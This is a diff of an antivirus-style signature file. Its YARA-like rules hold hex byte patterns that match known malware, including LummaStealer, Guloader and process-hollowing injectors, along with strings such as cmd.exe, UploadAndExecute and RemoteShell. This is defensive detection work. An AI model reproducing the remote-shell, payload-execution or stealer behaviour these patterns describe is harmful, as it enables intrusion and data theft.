_InfrastructureShared_21127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -249628,7 +264664,7 @@ rule _InfrastructureShared_19917{ ((#a_54_0 & 1)*18467+(#a_7a_1 & 1)*27745+(#a_61_2 & 1)*29295+(#a_6e_3 & 1)*29285+(#a_6b_4 & 1)*29811+(#a_54_5 & 1)*28021+(#a_00_6 & 1)*101+(#a_00_7 & 1)*99+(#a_00_8 & 1)*115+(#a_00_10 & 1)*97+(#a_00_11 & 1)*101) >=12 } -rule _InfrastructureShared_19918{ +rule _InfrastructureShared_21128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -249639,7 +264675,7 @@ rule _InfrastructureShared_19918{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=2 } -rule _InfrastructureShared_19919{ +rule _InfrastructureShared_21129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0f 00 21 " @@ -249663,7 +264699,7 @@ rule _InfrastructureShared_19919{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28265+(#a_01_2 & 1)*5120+(#a_64_3 & 1)*8226+(#a_73_4 & 1)*24941+(#a_68_5 & 1)*24370+(#a_61_6 & 1)*8293+(#a_46_7 & 1)*25445+(#a_90_8 & 1)*14964+(#a_62_9 & 1)*25708+(#a_74_10 & 1)*26912+(#a_01_11 & 1)*-28551+(#a_74_12 & 1)*8302+(#a_90_13 & 1)*25974+(#a_61_14 & 1)*25966) >=2 } -rule _InfrastructureShared_19920{ +rule _InfrastructureShared_21130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0f 00 21 " @@ -249684,7 +264720,7 @@ rule _InfrastructureShared_19920{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*18800+(#a_65_2 & 1)*26217+(#a_63_3 & 1)*30209+(#a_6f_5 & 1)*29253+(#a_7f_6 & 1)*4039+(#a_79_7 & 1)*16897+(#a_00_8 & 1)*46+(#a_00_10 & 1)*95+(#a_00_11 & 1)*61+(#a_00_13 & 1)*117+(#a_4c_14 & 1)*21325) >=6 } -rule _InfrastructureShared_19921{ +rule _InfrastructureShared_21131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 11 00 21 " @@ -249707,7 +264743,7 @@ rule _InfrastructureShared_19921{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20583+(#a_00_2 & 1)*111+(#a_00_4 & 1)*111+(#a_00_5 & 1)*114+(#a_00_7 & 1)*99+(#a_63_8 & 1)*24909+(#a_2e_9 & 1)*29295+(#a_6f_10 & 1)*25970+(#a_00_11 & 1)*29541+(#a_72_12 & 1)*19713+(#a_65_13 & 1)*11885+(#a_00_15 & 1)*50+(#a_00_16 & 1)*56) >=10 } -rule _InfrastructureShared_19922{ +rule _InfrastructureShared_21132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0f 00 21 " @@ -249729,7 +264765,7 @@ rule _InfrastructureShared_19922{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_6b_2 & 1)*28524+(#a_65_3 & 1)*11885+(#a_73_4 & 1)*25458+(#a_6d_5 & 1)*28486+(#a_6c_6 & 1)*25940+(#a_00_7 & 1)*54+(#a_00_9 & 1)*48+(#a_00_10 & 1)*108+(#a_00_12 & 1)*112+(#a_00_13 & 1)*53+(#a_00_14 & 1)*58) >=19 } -rule _InfrastructureShared_19923{ +rule _InfrastructureShared_21133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -249743,7 +264779,7 @@ rule _InfrastructureShared_19923{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*98+(#a_00_3 & 1)*54+(#a_00_5 & 1)*47+(#a_00_6 & 1)*47) >=10 } -rule _InfrastructureShared_19924{ +rule _InfrastructureShared_21134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -249766,7 +264802,7 @@ rule _InfrastructureShared_19924{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*25714+(#a_63_2 & 1)*30063+(#a_6d_3 & 1)*29811+(#a_72_4 & 1)*26978+(#a_2e_5 & 1)*25961+(#a_61_6 & 1)*24933+(#a_65_7 & 1)*30050+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1) >=14 } -rule _InfrastructureShared_19925{ +rule _InfrastructureShared_21135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -249793,7 +264829,7 @@ rule _InfrastructureShared_19925{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*16750+(#a_63_2 & 1)*30063+(#a_2e_3 & 1)*29301+(#a_72_4 & 1)*28531+(#a_6d_5 & 1)*20993+(#a_2d_6 & 1)*23085+(#a_65_8 & 1)*26964+(#a_30_9 & 1)*300+(#a_2c_10 & 1)*2+(#a_74_11 & 1)*21507+(#a_54_12 & 1)*21596+(#a_6f_13 & 1)*27753+(#a_4e_14 & 1)*18499+(#a_01_15 & 1)*-28672+(#a_5f_16 & 1)*17747+(#a_01_17 & 1)*-28672+(#a_19_18 & 1)*30307) >=19 } -rule _InfrastructureShared_19926{ +rule _InfrastructureShared_21136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -249811,7 +264847,7 @@ rule _InfrastructureShared_19926{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_5a_2 & 1)*16762+(#a_6e_3 & 1)*8300+(#a_7a_4 & 1)*24922+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1) >=9 } -rule _InfrastructureShared_19927{ +rule _InfrastructureShared_21137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -249823,14 +264859,30 @@ rule _InfrastructureShared_19927{ $a_2d_4 = {30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 32 03 48 4b 45 59 5f 43 4c 41 53 53 45 53 5f 52 4f 4f 54 5c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 } //31277 $a_41_5 = {5a 30 2d 39 90 00 01 00 3b 03 43 3a 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2b 03 63 6c 69 65 6e 74 5f 72 65 63 76 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2b 03 63 6c } //11617 $a_74_6 = {73 65 6e 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 0d 01 24 4c 75 61 56 65 72 73 69 6f 6e 3a 20 01 00 3c 03 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 41 00 6c 00 6c 00 6f 00 63 00 45 00 78 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 } //25961 - $a_2d_7 = {90 00 01 00 38 03 6b 00 65 00 72 00 6e 00 65 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 42 02 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 69 6d 53 } //23085 - $a_61_8 = {6c 50 61 63 6b 65 64 2e 41 21 64 68 61 00 01 00 53 81 01 2d 2d 61 72 67 75 6d 65 6e 74 73 20 68 61 72 64 63 6f 64 65 64 41 72 67 73 20 20 63 6f 6d 70 69 6c 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 61 72 67 75 6d 65 6e 74 73 20 74 6f 20 74 68 65 20 65 6e 63 72 79 70 74 65 64 20 65 78 65 2f } //29561 - $a_01_9 = {00 72 81 01 2d 2d 6d 65 74 61 64 61 74 61 20 20 20 20 53 65 74 20 63 75 73 74 6f 6d 20 72 65 73 6f 75 72 63 65 20 66 69 6c 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 28 63 6d 64 20 69 63 6f 6e 2c 20 43 4d 44 20 64 65 73 63 72 69 70 74 69 6f 6e 2c 20 6e 74 64 6c 6c 20 6d 65 74 61 64 61 74 61 20 66 6f 72 20 64 6c 6c 73 20 62 } //27748 + $a_2d_7 = {90 00 01 00 38 03 6b 00 65 00 72 00 6e 00 65 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 42 02 00 02 00 02 00 0e 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 58 48 } //23085 condition: - ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_5a_2 & 1)*16762+(#a_09_3 & 1)*6544+(#a_2d_4 & 1)*31277+(#a_41_5 & 1)*11617+(#a_74_6 & 1)*25961+(#a_2d_7 & 1)*23085+(#a_61_8 & 1)*29561+(#a_01_9 & 1)*27748) >=10 + ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_5a_2 & 1)*16762+(#a_09_3 & 1)*6544+(#a_2d_4 & 1)*31277+(#a_41_5 & 1)*11617+(#a_74_6 & 1)*25961+(#a_2d_7 & 1)*23085) >=10 } -rule _InfrastructureShared_19928{ +rule _InfrastructureShared_21138{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0e 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 58 48 00 02 00 23 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0e 00 00 ec 04 00 00 96 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0e 00 00 f8 04 00 00 94 00 00 } //18467 + $a_02_2 = {00 } //-28672 + $a_00_3 = {02 00 23 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0a 00 00 de 00 00 00 b4 05 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0e 00 00 c0 04 00 00 94 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 06 90 01 11 0b 01 0e 1d 00 da 04 00 00 e2 01 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 07 90 01 11 0b 01 06 00 00 a0 01 00 00 30 00 00 00 } //4096 + $a_00_5 = {00 10 } //400 က + $a_00_6 = {23 03 } //144 ̣ + $a_90_8 = {11 0b 01 0e 00 00 a6 } //332 + $a_01_11 = {02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 06 90 01 11 0b 01 0e 00 00 9c 04 00 00 98 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0e 00 00 a6 04 00 00 98 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0e 00 00 9c 04 00 00 96 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0e 00 00 ac 04 } //0 + $a_00_12 = {00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0e 00 00 9e 04 00 00 96 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 06 90 01 11 0b 01 0e 00 00 aa 04 00 00 9c 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 4c 01 06 90 01 11 0b 01 0e 00 00 9e 04 00 00 96 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 00 00 78 42 02 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f } //0 + $a_3a_13 = {69 6e 36 34 2f 4e 69 6d 53 79 73 63 61 6c 6c 50 61 63 6b 65 64 2e 41 21 64 68 61 00 01 00 53 81 01 2d 2d 61 72 67 75 6d 65 6e 74 73 20 68 61 72 64 63 6f 64 65 64 41 72 67 73 20 20 63 6f 6d 70 69 6c 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 61 72 67 75 6d 65 6e 74 73 20 74 6f 20 74 68 65 20 65 6e 63 72 79 70 74 65 64 20 65 } //24938 + condition: + ((#a_54_0 & 1)*18467+(#a_02_2 & 1)*-28672+(#a_00_3 & 1)*4096+(#a_00_5 & 1)*400+(#a_00_6 & 1)*144+(#a_90_8 & 1)*332+(#a_01_11 & 1)*0+(#a_00_12 & 1)*0+(#a_3a_13 & 1)*24938) >=2 + +} +rule _InfrastructureShared_21139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -249844,7 +264896,7 @@ rule _InfrastructureShared_19928{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*26740+(#a_69_2 & 1)*25709+(#a_20_3 & 1)*29793+(#a_6c_4 & 1)*25970) >=5 } -rule _InfrastructureShared_19929{ +rule _InfrastructureShared_21140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -249863,7 +264915,7 @@ rule _InfrastructureShared_19929{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*385+(#a_65_3 & 1)*24931+(#a_00_5 & 1)*84+(#a_00_7 & 1)*51+(#a_00_9 & 1)*50+(#a_00_10 & 1)*3+(#a_67_11 & 1)*26951+(#a_00_13 & 1)*111+(#a_00_15 & 1)*121) >=16 } -rule _InfrastructureShared_19930{ +rule _InfrastructureShared_21141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -249878,7 +264930,7 @@ rule _InfrastructureShared_19930{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*61+(#a_00_3 & 1)*117+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=3 } -rule _InfrastructureShared_19931{ +rule _InfrastructureShared_21142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -249898,7 +264950,7 @@ rule _InfrastructureShared_19931{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*30050+(#a_68_2 & 1)*11877+(#a_76_3 & 1)*29555+(#a_6b_4 & 1)*23673+(#a_69_5 & 1)*28974+(#a_73_6 & 1)*25942+(#a_39_7 & 1)*12378+(#a_00_9 & 1)*32+(#a_00_10 & 1)*116+(#a_2d_12 & 1)*2305) >=13 } -rule _InfrastructureShared_19932{ +rule _InfrastructureShared_21143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -249912,7 +264964,7 @@ rule _InfrastructureShared_19932{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29298+(#a_79_2 & 1)*19488+(#a_00_4 & 1)*104+(#a_00_5 & 1)*2448) >=5 } -rule _InfrastructureShared_19933{ +rule _InfrastructureShared_21144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -249927,7 +264979,7 @@ rule _InfrastructureShared_19933{ ((#a_46_0 & 1)*16675+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637+(#a_5a_4 & 1)*16697+(#a_00_6 & 1)*46+(#a_00_7 & 1)*118) >=5 } -rule _InfrastructureShared_19934{ +rule _InfrastructureShared_21145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -249943,7 +264995,7 @@ rule _InfrastructureShared_19934{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_00_2 & 1)*97+(#a_30_3 & 1)*11585+(#a_65_4 & 1)*16643+(#a_6f_5 & 1)*23666+(#a_44_6 & 1)*24943) >=1 } -rule _InfrastructureShared_19935{ +rule _InfrastructureShared_21146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -249956,7 +265008,7 @@ rule _InfrastructureShared_19935{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*83+(#a_00_4 & 1)*51) >=6 } -rule _InfrastructureShared_19936{ +rule _InfrastructureShared_21147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -249977,7 +265029,7 @@ rule _InfrastructureShared_19936{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*29295+(#a_65_2 & 1)*29301+(#a_6d_3 & 1)*26158+(#a_74_4 & 1)*28233+(#a_68_5 & 1)*25714+(#a_00_7 & 1)*513+(#a_68_9 & 1)*6400+(#a_90_10 & 1)*106+(#a_00_11 & 1)*4082+(#a_10_12 & 1)*-28657+(#a_f2_13 & 1)*656) >=14 } -rule _InfrastructureShared_19937{ +rule _InfrastructureShared_21148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 12 00 21 " @@ -250002,7 +265054,7 @@ rule _InfrastructureShared_19937{ ((#a_54_0 & 1)*18467+(#a_90_2 & 1)*106+(#a_00_3 & 1)*4083+(#a_56_4 & 1)*656+(#a_90_5 & 1)*106+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_46_9 & 1)*0+(#a_90_10 & 1)*3856+(#a_d9_11 & 1)*656+(#a_05_12 & 1)*-20476+(#a_02_13 & 1)*4083+(#a_bf_14 & 1)*4098+(#a_ba_15 & 1)*-29949+(#a_02_16 & 1)*-16625) >=1 } -rule _InfrastructureShared_19938{ +rule _InfrastructureShared_21149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 13 00 21 " @@ -250025,7 +265077,7 @@ rule _InfrastructureShared_19938{ ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*6146+(#a_90_2 & 1)*-3312+(#a_00_3 & 1)*400+(#a_8b_6 & 1)*5632+(#a_f3_7 & 1)*656+(#a_04_8 & 1)*3723+(#a_00_9 & 1)*7641+(#a_00_11 & 1)*67+(#a_00_13 & 1)*99+(#a_00_14 & 1)*111+(#a_2d_16 & 1)*2305+(#a_00_17 & 1)*14637+(#a_17_18 & 1)*4370) >=1 } -rule _InfrastructureShared_19939{ +rule _InfrastructureShared_21150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -250041,7 +265093,7 @@ rule _InfrastructureShared_19939{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11585+(#a_00_2 & 1)*111+(#a_00_3 & 1)*100+(#a_90_4 & 1)*8480+(#a_72_5 & 1)*10243+(#a_2d_6 & 1)*14637) >=7 } -rule _InfrastructureShared_19940{ +rule _InfrastructureShared_21151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -250054,7 +265106,7 @@ rule _InfrastructureShared_19940{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*27022+(#a_14_2 & 1)*23064+(#a_11_3 & 1)*437) >=4 } -rule _InfrastructureShared_19941{ +rule _InfrastructureShared_21152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -250076,7 +265128,7 @@ rule _InfrastructureShared_19941{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11825+(#a_4d_2 & 1)*20035+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_48_11 & 1)*0+(#a_5a_12 & 1)*16762) >=14 } -rule _InfrastructureShared_19942{ +rule _InfrastructureShared_21153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -250091,7 +265143,7 @@ rule _InfrastructureShared_19942{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*23653+(#a_00_2 & 1)*99+(#a_09_3 & 1)*11408+(#a_2d_4 & 1)*14637+(#a_00_5 & 1)*105) >=4 } -rule _InfrastructureShared_19943{ +rule _InfrastructureShared_21154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -250109,7 +265161,7 @@ rule _InfrastructureShared_19943{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_79_2 & 1)*23667+(#a_69_3 & 1)*11892+(#a_6e_4 & 1)*17244+(#a_6e_5 & 1)*27252+(#a_72_6 & 1)*21345+(#a_72_8 & 1)*25436+(#a_00_9 & 1)*105) >=10 } -rule _InfrastructureShared_19944{ +rule _InfrastructureShared_21155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0e 00 21 " @@ -250132,7 +265184,7 @@ rule _InfrastructureShared_19944{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_4a_13 & 1)*0) >=5 } -rule _InfrastructureShared_19945{ +rule _InfrastructureShared_21156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -250142,13 +265194,32 @@ rule _InfrastructureShared_19945{ $a_6c_2 = {61 64 41 6e 64 45 78 65 63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 30 03 55 70 6c 6f 61 64 41 6e 64 45 78 65 63 75 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 34 03 53 68 65 6c 6c 43 6f 6d 6d 61 } //30575 $a_65_3 = {70 6f 6e 73 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 64 03 53 00 65 00 6c 00 65 00 63 00 74 00 20 00 2a 00 20 00 46 00 72 00 6f 00 6d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 43 } //25710 $a_00_5 = {74 00 65 00 72 00 53 00 79 00 73 00 74 00 65 00 6d 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 5a 03 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 63 00 6f 00 75 00 6c 00 64 00 20 00 6e 00 6f 00 74 00 20 00 62 00 65 00 20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 21 00 90 2c 01 09 30 } //112 - $a_2d_6 = {61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 11 01 2e 43 6f 72 65 2e 52 65 6d 6f 74 65 53 68 65 6c 6c 00 00 78 4a 02 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 57 69 6e } //14637 - $a_47_7 = {6c 6f 61 64 65 72 2e 4b 4d 4d 45 31 32 33 21 4d 54 42 00 01 00 2b 81 01 5c 74 69 6d 65 63 61 72 64 5c 72 65 70 72 65 73 73 61 6c 69 65 72 6e } //12851 + $a_2d_6 = {61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 11 01 2e 43 6f 72 65 2e 52 65 6d 6f 74 65 53 68 65 6c 6c 00 00 78 4a 02 00 04 00 04 00 0a 00 21 23 41 4c 46 50 45 52 3a 54 } //14637 + $a_61_7 = {3a 57 69 6e 36 34 2f 50 72 6f 6c 6c 6f 77 69 6e 67 2e 41 00 01 00 13 81 01 5b 50 52 4f 43 45 53 53 20 48 4f 4c 4c 4f 57 49 4e 47 5d 01 00 42 81 01 5b 2d 5d 20 41 6e 20 65 72 72 6f 72 20 69 73 20 6f 63 63 75 72 65 64 20 77 68 65 6e 20 74 72 79 69 6e 67 20 74 6f 20 63 72 65 61 74 65 20 74 68 65 20 74 61 72 67 65 74 20 } //28530 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_6c_2 & 1)*30575+(#a_65_3 & 1)*25710+(#a_00_5 & 1)*112+(#a_2d_6 & 1)*14637+(#a_47_7 & 1)*12851) >=3 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_6c_2 & 1)*30575+(#a_65_3 & 1)*25710+(#a_00_5 & 1)*112+(#a_2d_6 & 1)*14637+(#a_61_7 & 1)*28530) >=3 } -rule _InfrastructureShared_19946{ +rule _InfrastructureShared_21157{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 72 6f 6c 6c 6f 77 69 6e 67 2e 41 00 01 00 13 81 01 5b 50 52 4f 43 45 53 53 20 48 4f 4c 4c 4f 57 49 4e 47 5d 01 00 42 81 01 5b 2d 5d 20 41 6e 20 65 72 72 6f 72 20 69 73 20 6f 63 } //16675 + $a_65_1 = {20 77 68 65 6e 20 74 72 79 69 6e 67 20 74 6f 20 63 72 65 61 74 65 20 74 68 65 20 74 61 72 67 65 74 20 70 72 6f 63 65 73 73 20 21 01 00 25 81 01 5b 2d 5d 20 41 72 63 68 69 74 65 63 74 75 72 65 20 61 72 65 20 6e 6f 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 21 01 00 23 81 01 5b 2b 5d 20 54 61 72 67 65 74 20 50 72 6f 63 65 73 73 20 73 75 62 73 79 } //30051 + $a_6d_2 = {3a 20 30 78 25 58 01 00 4d 81 01 5b 2d 5d 20 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 65 64 20 77 68 65 6e 20 74 72 79 69 6e 67 20 74 6f 20 61 6c 6c 6f 63 61 74 65 20 6d 65 6d 6f 72 79 20 66 6f 72 20 74 68 65 20 50 45 20 66 69 6c 65 20 63 6f 6e 74 65 6e 74 20 21 01 00 56 81 01 5b 2d 5d 20 41 6e 20 65 } //29811 + $a_72_3 = {69 73 20 6f 63 63 75 72 65 64 20 77 68 65 6e 20 74 72 79 69 6e 67 20 74 6f 20 67 65 74 20 74 68 65 20 72 65 6c 6f 63 61 74 69 6f 6e 20 73 65 63 74 69 6f 6e 20 6f 66 20 74 68 65 20 73 6f 75 72 63 65 20 69 6d 61 67 65 2e 01 00 19 81 01 5b 2b 5d 20 52 65 73 75 6c 74 20 6f 66 20 69 6e 6a 65 63 74 20 3d 20 25 64 01 00 1f 81 01 5b 2b 5d } //29298 + $a_65_4 = {69 6e 6a 65 63 74 69 6f 6e 20 68 61 73 20 73 75 63 63 65 65 64 20 21 01 00 2b 81 01 5b 48 45 4c 50 5d 20 72 75 6e 70 65 2e 65 78 65 20 3c 70 65 5f 66 69 6c 65 3e 20 3c 74 61 72 67 65 74 5f 70 72 6f 63 65 73 73 3e 01 00 4a 81 01 5b 2d 5d 20 41 6e 20 65 72 72 6f 72 20 69 73 20 6f 63 63 75 72 65 64 20 77 68 65 6e } //21536 + $a_79_5 = {6e 67 20 74 6f 20 77 72 69 74 65 20 74 68 65 20 68 65 61 64 65 72 73 20 6f 66 20 74 68 65 20 6e 65 77 20 69 6d 61 67 65 2e 00 00 78 4a 02 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 45 31 32 33 21 4d 54 42 00 01 00 2b 81 01 5c 74 69 6d 65 63 61 72 64 5c 72 65 70 72 65 73 73 61 6c 69 65 72 } //29728 + $a_5c_6 = {61 73 74 65 6c 61 76 6e 73 62 6f 6c 6c 65 6e 73 01 00 1a 81 01 54 65 63 74 75 72 65 5c 65 78 63 6f 6d 6d 75 6e 69 63 61 74 6f 72 2e 64 61 74 01 